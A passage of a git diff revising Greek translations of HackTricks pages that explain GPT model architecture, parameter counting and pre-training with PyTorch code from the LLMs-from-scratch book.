διασφαλίζει ότι η διακύμανση υπολογίζεται χρησιμοποιώντας τον μεροληπτικό εκτιμητή (διαιρώντας με `N` αντί για `N-1`), που είναι κατάλληλο όταν κανονικοποιούμε σε χαρακτηριστικά αντί για δείγματα. @@ -306,7 +308,7 @@ return self.scale * norm_x + self.shift ### **Transformer Block** -_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_ +_Οι σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_ ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 @@ -348,35 +350,35 @@ return x # Output shape: (batch_size, seq_len, emb_dim) ``` #### **Σκοπός και Λειτουργικότητα** -- **Σύνθεση Στρωμάτων:** Συνδυάζει multi-head attention, feedforward network, layer normalization και residual connections. -- **Layer Normalization:** Εφαρμόζεται πριν από τα στρώματα attention και feedforward για σταθερή εκπαίδευση. -- **Residual Connections (Συντομεύσεις):** Προσθέτει την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσει τη ροή του gradient και να επιτρέψει την εκπαίδευση βαθιών δικτύων. -- **Dropout:** Εφαρμόζεται μετά τα στρώματα attention και feedforward για κανονικοποίηση. +- **Σύνθεση Στρωμάτων:** Συνδυάζει πολυκεφαλική προσοχή, δίκτυο τροφοδότησης, κανονικοποίηση στρώματος και υπολειμματικές συνδέσεις. +- **Κανονικοποίηση Στρώματος:** Εφαρμόζεται πριν από τα στρώματα προσοχής και τροφοδότησης για σταθερή εκπαίδευση. +- **Υπολειμματικές Συνδέσεις (Συντομεύσεις):** Προσθέτουν την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσουν τη ροή του βαθμού και να επιτρέψουν την εκπαίδευση βαθιών δικτύων. +- **Dropout:** Εφαρμόζεται μετά από τα στρώματα προσοχής και τροφοδότησης για κανονικοποίηση. #### **Λειτουργικότητα Βήμα-Βήμα** -1. **Πρώτη Διαδρομή Residual (Self-Attention):** -- **Είσοδος (`shortcut`):** Αποθηκεύει την αρχική είσοδο για τη σύνδεση residual. -- **Layer Norm (`norm1`):** Κανονικοποιεί την είσοδο. -- **Multi-Head Attention (`att`):** Εφαρμόζει self-attention. -- **Dropout (`drop_shortcut`):** Εφαρμόζει dropout για κανονικοποίηση. -- **Προσθήκη Residual (`x + shortcut`):** Συνδυάζει με την αρχική είσοδο. -2. **Δεύτερη Διαδρομή Residual (FeedForward):** -- **Είσοδος (`shortcut`):** Αποθηκεύει την ενημερωμένη είσοδο για την επόμενη σύνδεση residual. -- **Layer Norm (`norm2`):** Κανονικοποιεί την είσοδο. -- **FeedForward Network (`ff`):** Εφαρμόζει τη μετασχηματιστική διαδικασία feedforward. -- **Dropout (`drop_shortcut`):** Εφαρμόζει dropout. -- **Προσθήκη Residual (`x + shortcut`):** Συνδυάζει με την είσοδο από την πρώτη διαδρομή residual. +1. **Πρώτη Υπολειμματική Διαδρομή (Αυτοπροσοχή):** +- **Είσοδος (`shortcut`):** Αποθηκεύστε την αρχική είσοδο για τη υπολειμματική σύνδεση. +- **Κανονικοποίηση Στρώματος (`norm1`):** Κανονικοποιήστε την είσοδο. +- **Πολυκεφαλική Προσοχή (`att`):** Εφαρμόστε αυτοπροσοχή. +- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout για κανονικοποίηση. +- **Προσθήκη Υπολειμμάτων (`x + shortcut`):** Συνδυάστε με την αρχική είσοδο. +2. **Δεύτερη Υπολειμματική Διαδρομή (Τροφοδότηση):** +- **Είσοδος (`shortcut`):** Αποθηκεύστε την ενημερωμένη είσοδο για την επόμενη υπολειμματική σύνδεση. +- **Κανονικοποίηση Στρώματος (`norm2`):** Κανονικοποιήστε την είσοδο. +- **Δίκτυο Τροφοδότησης (`ff`):** Εφαρμόστε τη μετασχηματιστική τροφοδότηση. +- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout. +- **Προσθήκη Υπολειμμάτων (`x + shortcut`):** Συνδυάστε με την είσοδο από την πρώτη υπολειμματική διαδρομή. > [!TIP] -> Το μπλοκ transformer ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\ -> Σημειώστε πώς τα dropouts γίνονται μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν. +> Το μπλοκ μετασχηματιστή ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\ +> Σημειώστε πώς γίνονται τα dropouts μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν. > -> Επιπλέον, χρησιμοποιεί και συντομεύσεις που συνίστανται στο **να προσθέτει την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του gradient διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία. +> Επιπλέον, χρησιμοποιεί επίσης συντομεύσεις που συνίστανται στο **να προσθέτουν την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του βαθμού διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία. ### **GPTModel** -_Σχήματα έχουν προστεθεί ως σχόλια για καλύτερη κατανόηση των σχημάτων των μητρών:_ +_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_ ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class GPTModel(nn.Module): @@ -435,22 +437,22 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **Ενσωματωμένα Επίπεδα:** - **Ενσωματώσεις Token (`tok_emb`):** Μετατρέπει τους δείκτες token σε ενσωματώσεις. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται σε κάθε διάσταση κάθε token στο λεξιλόγιο. -- **Ενσωματώσεις Θέσης (`pos_emb`):** Προσθέτει πληροφορίες θέσης στις ενσωματώσεις για να συλλάβει τη σειρά των tokens. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται στα tokens σύμφωνα με τη θέση τους στο κείμενο. +- **Ενσωματώσεις Θέσης (`pos_emb`):** Προσθέτει πληροφορίες θέσης στις ενσωματώσεις για να καταγράψει τη σειρά των tokens. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται στα tokens σύμφωνα με τη θέση τους στο κείμενο. - **Dropout (`drop_emb`):** Εφαρμόζεται στις ενσωματώσεις για κανονικοποίηση. - **Μπλοκ Transformer (`trf_blocks`):** Στοίβα `n_layers` μπλοκ transformer για την επεξεργασία των ενσωματώσεων. - **Τελική Κανονικοποίηση (`final_norm`):** Κανονικοποίηση επιπέδου πριν από το επίπεδο εξόδου. - **Επίπεδο Εξόδου (`out_head`):** Προβάλλει τις τελικές κρυφές καταστάσεις στο μέγεθος του λεξιλογίου για να παραγάγει logits για πρόβλεψη. > [!TIP] -> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η γεννήτρια κειμένου. +> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η δημιουργία κειμένου. > -> Σημειώστε πώς θα **χρησιμοποιήσει τόσα πολλά μπλοκ transformer όσο υποδεικνύεται** και ότι κάθε μπλοκ transformer χρησιμοποιεί ένα δίκτυο πολλαπλών κεφαλών προσοχής, ένα δίκτυο προώθησης και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 μπλοκ transformer, πολλαπλασιάστε αυτό με 12. +> Σημειώστε πώς θα **χρησιμοποιήσει τόσα μπλοκ transformer όσο υποδεικνύεται** και ότι κάθε μπλοκ transformer χρησιμοποιεί ένα δίκτυο πολλαπλών κεφαλών προσοχής, ένα δίκτυο προώθησης και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 μπλοκ transformer, πολλαπλασιάστε αυτό με 12. > > Επιπλέον, ένα **επίπεδο κανονικοποίησης** προστίθεται **πριν** από την **έξοδο** και ένα τελικό γραμμικό επίπεδο εφαρμόζεται στο τέλος για να αποκτήσει τα αποτελέσματα με τις κατάλληλες διαστάσεις. Σημειώστε πώς κάθε τελικός διανύσματος έχει το μέγεθος του χρησιμοποιούμενου λεξιλογίου. Αυτό συμβαίνει επειδή προσπαθεί να αποκτήσει μια πιθανότητα ανά πιθανό token μέσα στο λεξιλόγιο. ## Αριθμός Παραμέτρων προς εκπαίδευση -Έχοντας καθορίσει τη δομή GPT, είναι δυνατόν να βρεθεί ο αριθμός παραμέτρων προς εκπαίδευση: +Έχοντας καθορίσει τη δομή GPT, είναι δυνατόν να βρείτε τον αριθμό παραμέτρων προς εκπαίδευση: ```python GPT_CONFIG_124M = { "vocab_size": 50257, # Vocabulary size @@ -486,22 +488,22 @@ position_embedding_params = 1024 * 768 = 786,432 embedding_params = token_embedding_params + position_embedding_params embedding_params = 38,597,376 + 786,432 = 39,383,808 ``` -#### **2. Transformer Blocks** +#### **2. Μπλοκ Μετασχηματιστή** -Υπάρχουν 12 μπλοκ μετασχηματιστών, οπότε θα υπολογίσουμε τις παραμέτρους για ένα μπλοκ και στη συνέχεια θα πολλαπλασιάσουμε με το 12. +Υπάρχουν 12 μπλοκ μετασχηματιστή, οπότε θα υπολογίσουμε τις παραμέτρους για ένα μπλοκ και στη συνέχεια θα πολλαπλασιάσουμε με το 12. -**Parameters per Transformer Block** +**Παράμετροι ανά Μπλοκ Μετασχηματιστή** -**a. Multi-Head Attention** +**α. Πολυκεφαλική Προσοχή** -- **Components:** -- **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` -- **Calculations:** +- **Συστατικά:** +- **Γραμμικό Επίπεδο Ερώτησης (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Γραμμικό Επίπεδο Κλειδιού (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Γραμμικό Επίπεδο Τιμής (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Προβολή Εξόδου (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` +- **Υπολογισμοί:** -- **Each of `W_query`, `W_key`, `W_value`:** +- **Κάθε από τα `W_query`, `W_key`, `W_value`:** ```python qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 @@ -513,59 +515,59 @@ qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 ``` -- **Output Projection (`out_proj`):** +- **Προβολή Εξόδου (`out_proj`):** ```python out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 ``` -- **Total Multi-Head Attention Parameters:** +- **Συνολικές Παράμετροι Πολυκεφαλικής Προσοχής:** ```python mha_params = total_qkv_params + out_proj_params mha_params = 1,769,472 + 590,592 = 2,360,064 ``` -**b. FeedForward Network** +**β. Δίκτυο Τροφοδοσίας** -- **Components:** -- **First Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)` -- **Second Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)` -- **Calculations:** +- **Συστατικά:** +- **Πρώτο Γραμμικό Επίπεδο:** `nn.Linear(emb_dim, 4 * emb_dim)` +- **Δεύτερο Γραμμικό Επίπεδο:** `nn.Linear(4 * emb_dim, emb_dim)` +- **Υπολογισμοί:** -- **First Linear Layer:** +- **Πρώτο Γραμμικό Επίπεδο:** ```python ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim) ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368 ``` -- **Second Linear Layer:** +- **Δεύτερο Γραμμικό Επίπεδο:** ```python ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 ``` -- **Total FeedForward Parameters:** +- **Συνολικές Παράμετροι Τροφοδοσίας:** ```python ff_params = ff_first_layer_params + ff_second_layer_params ff_params = 2,362,368 + 2,360,064 = 4,722,432 ``` -**c. Layer Normalizations** +**γ. Κανονικοποιήσεις Επίπεδου** -- **Components:** -- Δύο `LayerNorm` περιπτώσεις ανά μπλοκ. +- **Συστατικά:** +- Δύο περιπτώσεις `LayerNorm` ανά μπλοκ. - Κάθε `LayerNorm` έχει `2 * emb_dim` παραμέτρους (κλίμακα και μετατόπιση). -- **Calculations:** +- **Υπολογισμοί:** ```python layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 ``` -**d. Total Parameters per Transformer Block** +**δ. Συνολικές Παράμετροι ανά Μπλοκ Μετασχηματιστή** ```python pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 @@ -583,7 +585,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 ```python pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 ``` -**β. Στρώμα Έξοδου Πρόβλεψης (`out_head`)** +**β. Στρώμα Έξοδου (`out_head`)** - **Στρώμα:** `nn.Linear(emb_dim, vocab_size, bias=False)` - **Παράμετροι:** `emb_dim * vocab_size` @@ -664,3 +666,6 @@ print("Output length:", len(out[0])) ## Αναφορές - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index a4885f241..f79f38ca7 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,29 +1,31 @@ # 6. Προεκπαίδευση & Φόρτωση μοντέλων +{{#include /banners/hacktricks-training.md}} + ## Δημιουργία Κειμένου -Για να εκπαιδεύσουμε ένα μοντέλο, θα χρειαστεί το μοντέλο αυτό να είναι ικανό να δημιουργεί νέους τόκενς. Στη συνέχεια, θα συγκρίνουμε τους παραγόμενους τόκενς με τους αναμενόμενους προκειμένου να εκπαιδεύσουμε το μοντέλο να **μάθει τους τόκενς που χρειάζεται να δημιουργήσει**. +Για να εκπαιδεύσουμε ένα μοντέλο, θα χρειαστεί το μοντέλο αυτό να είναι ικανό να δημιουργεί νέους τόκεν. Στη συνέχεια, θα συγκρίνουμε τους παραγόμενους τόκεν με τους αναμενόμενους προκειμένου να εκπαιδεύσουμε το μοντέλο στο **να μάθει τους τόκεν που χρειάζεται να δημιουργήσει**. -Όπως στα προηγούμενα παραδείγματα, έχουμε ήδη προβλέψει κάποιους τόκενς, είναι δυνατόν να επαναχρησιμοποιήσουμε αυτή τη λειτουργία για αυτόν τον σκοπό. +Όπως στα προηγούμενα παραδείγματα, έχουμε ήδη προβλέψει κάποιους τόκεν, είναι δυνατόν να επαναχρησιμοποιήσουμε αυτή τη λειτουργία για αυτόν τον σκοπό. > [!TIP] > Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαίδευση του μοντέλου από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλες τις παραμέτρους του μοντέλου. ## Αξιολόγηση Κειμένου -Για να πραγματοποιηθεί σωστή εκπαίδευση, είναι απαραίτητο να μετρηθούν οι προβλέψεις που αποκτήθηκαν για τον αναμενόμενο τόκεν. Ο στόχος της εκπαίδευσης είναι να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, που περιλαμβάνει την αύξηση της πιθανότητάς του σε σχέση με άλλους τόκενς. +Για να πραγματοποιηθεί σωστή εκπαίδευση, είναι απαραίτητο να μετρηθούν οι προβλέψεις που αποκτήθηκαν για τον αναμενόμενο τόκεν. Ο στόχος της εκπαίδευσης είναι να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, που περιλαμβάνει την αύξηση της πιθανότητάς του σε σχέση με άλλους τόκεν. Για να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, τα βάρη του μοντέλου πρέπει να τροποποιηθούν ώστε αυτή η πιθανότητα να μεγιστοποιηθεί. Οι ενημερώσεις των βαρών γίνονται μέσω **backpropagation**. Αυτό απαιτεί μια **συνάρτηση απώλειας προς μεγιστοποίηση**. Σε αυτή την περίπτωση, η συνάρτηση θα είναι η **διαφορά μεταξύ της εκτελούμενης πρόβλεψης και της επιθυμητής**. -Ωστόσο, αντί να δουλεύει με τις ακατέργαστες προβλέψεις, θα δουλεύει με έναν λογάριθμο με βάση n. Έτσι, αν η τρέχουσα πρόβλεψη του αναμενόμενου τόκεν ήταν 7.4541e-05, ο φυσικός λογάριθμος (βάση *e*) του **7.4541e-05** είναι περίπου **-9.5042**.\ -Στη συνέχεια, για κάθε είσοδο με μήκος συμφραζομένων 5 τόκενς, για παράδειγμα, το μοντέλο θα χρειαστεί να προβλέψει 5 τόκενς, με τα πρώτα 4 τόκενς να είναι το τελευταίο της εισόδου και το πέμπτο το προβλεπόμενο. Επομένως, για κάθε είσοδο θα έχουμε 5 προβλέψεις σε αυτή την περίπτωση (ακόμα και αν τα πρώτα 4 ήταν στην είσοδο, το μοντέλο δεν το γνωρίζει αυτό) με 5 αναμενόμενους τόκενς και επομένως 5 πιθανότητες προς μεγιστοποίηση. +Ωστόσο, αντί να δουλεύει με τις ακατέργαστες προβλέψεις, θα δουλεύει με έναν λογάριθμο με βάση το n. Έτσι, αν η τρέχουσα πρόβλεψη του αναμενόμενου τόκεν ήταν 7.4541e-05, ο φυσικός λογάριθμος (βάση *e*) του **7.4541e-05** είναι περίπου **-9.5042**.\ +Στη συνέχεια, για κάθε είσοδο με μήκος συμφραζομένων 5 τόκεν, για παράδειγμα, το μοντέλο θα χρειαστεί να προβλέψει 5 τόκεν, με τα πρώτα 4 τόκεν να είναι το τελευταίο της εισόδου και το πέμπτο το προβλεπόμενο. Επομένως, για κάθε είσοδο θα έχουμε 5 προβλέψεις σε αυτή την περίπτωση (ακόμα και αν τα πρώτα 4 ήταν στην είσοδο, το μοντέλο δεν το γνωρίζει αυτό) με 5 αναμενόμενους τόκεν και επομένως 5 πιθανότητες προς μεγιστοποίηση. Επομένως, μετά την εκτέλεση του φυσικού λογάριθμου σε κάθε πρόβλεψη, υπολογίζεται ο **μέσος όρος**, αφαιρείται το **σύμβολο μείον** (αυτό ονομάζεται _cross entropy loss_) και αυτός είναι ο **αριθμός που πρέπει να μειωθεί όσο το δυνατόν πιο κοντά στο 0** γιατί ο φυσικός λογάριθμος του 1 είναι 0:

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

Ένας άλλος τρόπος για να μετρηθεί πόσο καλό είναι το μοντέλο ονομάζεται perplexity. **Perplexity** είναι ένα μέτρο που χρησιμοποιείται για να αξιολογήσει πόσο καλά ένα μοντέλο πιθανότητας προβλέπει ένα δείγμα. Στη γλωσσική μοντελοποίηση, αντιπροσωπεύει την **αβεβαιότητα του μοντέλου** όταν προβλέπει τον επόμενο τόκεν σε μια ακολουθία.\ -Για παράδειγμα, μια τιμή perplexity 48725 σημαίνει ότι όταν χρειάζεται να προβλέψει έναν τόκεν, δεν είναι σίγουρο ποιος από τους 48,725 τόκενς στο λεξιλόγιο είναι ο σωστός. +Για παράδειγμα, μια τιμή perplexity 48725 σημαίνει ότι όταν χρειάζεται να προβλέψει έναν τόκεν, δεν είναι σίγουρο ποιος από τους 48,725 τόκεν στο λεξιλόγιο είναι ο σωστός. ## Παράδειγμα Προεκπαίδευσης @@ -527,7 +529,7 @@ torch.save({ ``` ### Συναρτήσεις για τη μετατροπή κειμένου <--> ids -Αυτές είναι μερικές απλές συναρτήσεις που μπορούν να χρησιμοποιηθούν για τη μετατροπή κειμένων από το λεξιλόγιο σε ids και αντίστροφα. Αυτό είναι απαραίτητο στην αρχή της επεξεργασίας του κειμένου και στο τέλος των προβλέψεων: +Αυτές είναι μερικές απλές συναρτήσεις που μπορούν να χρησιμοποιηθούν για να μετατρέψουν κείμενα από το λεξιλόγιο σε ids και αντίστροφα. Αυτό είναι απαραίτητο στην αρχή της επεξεργασίας του κειμένου και στο τέλος των προβλέψεων: ```python # Functions to transform from tokens to ids and from to ids to tokens def text_to_token_ids(text, tokenizer): @@ -590,9 +592,9 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) return idx ``` > [!TIP] -> Υπάρχει μια κοινή εναλλακτική στο `top-k` που ονομάζεται [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), γνωστή επίσης ως δειγματοληψία πυρήνα, η οποία αντί να παίρνει k δείγματα με την πιο πιθανότητα, **οργανώνει** όλη τη **λεξιλογία** κατά πιθανότητες και **αθροίζει** αυτές από την υψηλότερη πιθανότητα προς τη χαμηλότερη μέχρι να **φτάσει σε ένα όριο**. +> Υπάρχει μια κοινή εναλλακτική στο `top-k` που ονομάζεται [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), γνωστή επίσης ως δειγματοληψία πυρήνα, η οποία αντί να παίρνει k δείγματα με την υψηλότερη πιθανότητα, **οργανώνει** όλη τη **λεξιλογία** κατά πιθανότητες και **αθροίζει** αυτές από την υψηλότερη πιθανότητα προς τη χαμηλότερη μέχρι να **φτάσει σε ένα όριο**. > -> Στη συνέχεια, **μόνο αυτές οι λέξεις** της λεξιλογίας θα ληφθούν υπόψη σύμφωνα με τις σχετικές πιθανότητές τους. +> Στη συνέχεια, **μόνο αυτές οι λέξεις** της λεξιλογίας θα ληφθούν υπόψη σύμφωνα με τις σχετικές τους πιθανότητες. > > Αυτό επιτρέπει να μην χρειάζεται να επιλέξετε έναν αριθμό `k` δειγμάτων, καθώς το βέλτιστο k μπορεί να είναι διαφορετικό σε κάθε περίπτωση, αλλά **μόνο ένα όριο**. > @@ -635,7 +637,7 @@ break return total_loss / num_batches ``` > [!TIP] -> **Gradient clipping** είναι μια τεχνική που χρησιμοποιείται για να ενισχύσει τη **σταθερότητα εκπαίδευσης** σε μεγάλα νευρωνικά δίκτυα, θέτοντας ένα **μέγιστο όριο** για τα μεγέθη των παραγώγων. Όταν οι παράγωγοι υπερβαίνουν αυτό το προκαθορισμένο `max_norm`, κλιμακώνονται αναλογικά για να διασφαλιστεί ότι οι ενημερώσεις στις παραμέτρους του μοντέλου παραμένουν εντός ενός διαχειρίσιμου εύρους, αποτρέποντας προβλήματα όπως οι εκρηκτικοί παράγωγοι και διασφαλίζοντας πιο ελεγχόμενη και σταθερή εκπαίδευση. +> **Gradient clipping** είναι μια τεχνική που χρησιμοποιείται για να ενισχύσει τη **σταθερότητα εκπαίδευσης** σε μεγάλα νευρωνικά δίκτυα, θέτοντας ένα **μέγιστο όριο** για τα μεγέθη των παραγώγων. Όταν οι παράγωγοι υπερβαίνουν αυτό το προκαθορισμένο `max_norm`, κλιμακώνονται αναλογικά για να διασφαλιστεί ότι οι ενημερώσεις στις παραμέτρους του μοντέλου παραμένουν εντός ενός διαχειρίσιμου εύρους, αποτρέποντας προβλήματα όπως οι εκρηκτικές παράγωγοι και διασφαλίζοντας πιο ελεγχόμενη και σταθερή εκπαίδευση. > > _Σημειώστε ότι αυτή η βελτίωση δεν περιλαμβάνεται στον προηγούμενο κώδικα._ > @@ -653,7 +655,7 @@ return total_loss / num_batches Και οι δύο φορτωτές δεδομένων χρησιμοποιούν το ίδιο μέγεθος παρτίδας, μέγιστο μήκος και βήμα και αριθμό εργαζομένων (0 σε αυτή την περίπτωση).\ Οι κύριες διαφορές είναι τα δεδομένα που χρησιμοποιεί ο καθένας, και οι επικυρωτές δεν απορρίπτουν το τελευταίο ούτε ανακατεύουν τα δεδομένα καθώς δεν είναι απαραίτητο για σκοπούς επικύρωσης. -Επίσης, το γεγονός ότι το **βήμα είναι τόσο μεγάλο όσο το μήκος του συμφραζομένου**, σημαίνει ότι δεν θα υπάρχει επικάλυψη μεταξύ των συμφραζομένων που χρησιμοποιούνται για την εκπαίδευση των δεδομένων (μειώνει την υπερβολική προσαρμογή αλλά και το σύνολο δεδομένων εκπαίδευσης). +Επίσης, το γεγονός ότι το **βήμα είναι όσο μεγάλο όσο το μήκος του συμφραζομένου**, σημαίνει ότι δεν θα υπάρχει επικάλυψη μεταξύ των συμφραζομένων που χρησιμοποιούνται για την εκπαίδευση των δεδομένων (μειώνει την υπερβολική προσαρμογή αλλά και το σύνολο δεδομένων εκπαίδευσης). Επιπλέον, σημειώστε ότι το μέγεθος παρτίδας σε αυτή την περίπτωση είναι 2 για να διαιρέσει τα δεδομένα σε 2 παρτίδες, ο κύριος στόχος αυτού είναι να επιτρέψει παράλληλη επεξεργασία και να μειώσει την κατανάλωση ανά παρτίδα. ```python @@ -758,14 +760,14 @@ print("Validation loss:", val_loss) - Τον φορτωτή επικύρωσης - Τον **optimizer** που θα χρησιμοποιηθεί κατά τη διάρκεια της εκπαίδευσης: Αυτή είναι η συνάρτηση που θα χρησιμοποιήσει τους βαθμούς και θα ενημερώσει τις παραμέτρους για να μειώσει την απώλεια. Σε αυτή την περίπτωση, όπως θα δείτε, χρησιμοποιείται ο `AdamW`, αλλά υπάρχουν πολλοί άλλοι. - Καλείται το `optimizer.zero_grad()` για να επαναφέρει τους βαθμούς σε κάθε γύρο ώστε να μην τους συσσωρεύει. -- Η παράμετρος **`lr`** είναι ο **ρυθμός μάθησης** που καθορίζει το **μέγεθος των βημάτων** που γίνονται κατά τη διάρκεια της διαδικασίας βελτιστοποίησης όταν ενημερώνονται οι παράμετροι του μοντέλου. Ένας **μικρότερος** ρυθμός μάθησης σημαίνει ότι ο optimizer **κάνει μικρότερες ενημερώσεις** στα βάρη, κάτι που μπορεί να οδηγήσει σε πιο **ακριβή** σύγκλιση αλλά μπορεί να **επιβραδύνει** την εκπαίδευση. Ένας **μεγαλύτερος** ρυθμός μάθησης μπορεί να επιταχύνει την εκπαίδευση αλλά **κινδυνεύει να υπερβεί** το ελάχιστο της συνάρτησης απώλειας (**να πηδήξει πάνω** από το σημείο όπου ελαχιστοποιείται η συνάρτηση απώλειας). -- Ο **Weight Decay** τροποποιεί το βήμα **Υπολογισμού Απώλειας** προσθέτοντας έναν επιπλέον όρο που επιβαρύνει τα μεγάλα βάρη. Αυτό ενθαρρύνει τον optimizer να βρει λύσεις με μικρότερα βάρη, ισορροπώντας μεταξύ της καλής προσαρμογής στα δεδομένα και της διατήρησης του μοντέλου απλού, αποτρέποντας την υπερβολική προσαρμογή σε μοντέλα μηχανικής μάθησης αποθαρρύνοντας το μοντέλο από το να αποδίδει υπερβολική σημασία σε οποιοδήποτε μεμονωμένο χαρακτηριστικό. +- Η παράμετρος **`lr`** είναι το **learning rate** που καθορίζει το **μέγεθος των βημάτων** που γίνονται κατά τη διάρκεια της διαδικασίας βελτιστοποίησης όταν ενημερώνονται οι παράμετροι του μοντέλου. Ένα **μικρότερο** learning rate σημαίνει ότι ο optimizer **κάνει μικρότερες ενημερώσεις** στα βάρη, κάτι που μπορεί να οδηγήσει σε πιο **ακριβή** σύγκλιση αλλά μπορεί να **επιβραδύνει** την εκπαίδευση. Ένα **μεγαλύτερο** learning rate μπορεί να επιταχύνει την εκπαίδευση αλλά **κινδυνεύει να υπερβεί** το ελάχιστο της συνάρτησης απώλειας (**να πηδήξει πάνω** από το σημείο όπου ελαχιστοποιείται η συνάρτηση απώλειας). +- Ο **Weight Decay** τροποποιεί το βήμα **Υπολογισμού Απώλειας** προσθέτοντας έναν επιπλέον όρο που ποινικοποιεί τα μεγάλα βάρη. Αυτό ενθαρρύνει τον optimizer να βρει λύσεις με μικρότερα βάρη, ισορροπώντας μεταξύ της καλής προσαρμογής στα δεδομένα και της διατήρησης του μοντέλου απλού, αποτρέποντας την υπερβολική προσαρμογή σε μοντέλα μηχανικής μάθησης αποθαρρύνοντας το μοντέλο από το να αποδίδει υπερβολική σημασία σε οποιαδήποτε μεμονωμένη χαρακτηριστική. - Παραδοσιακοί optimizers όπως ο SGD με L2 κανονικοποίηση συνδυάζουν τον weight decay με τον βαθμό της συνάρτησης απώλειας. Ωστόσο, ο **AdamW** (μια παραλλαγή του Adam optimizer) αποσυνδέει τον weight decay από την ενημέρωση του βαθμού, οδηγώντας σε πιο αποτελεσματική κανονικοποίηση. - Η συσκευή που θα χρησιμοποιηθεί για την εκπαίδευση - Ο αριθμός των εποχών: Αριθμός φορών που θα περάσει από τα δεδομένα εκπαίδευσης -- Η συχνότητα αξιολόγησης: Η συχνότητα για να καλέσετε τη `evaluate_model` -- Η επανάληψη αξιολόγησης: Ο 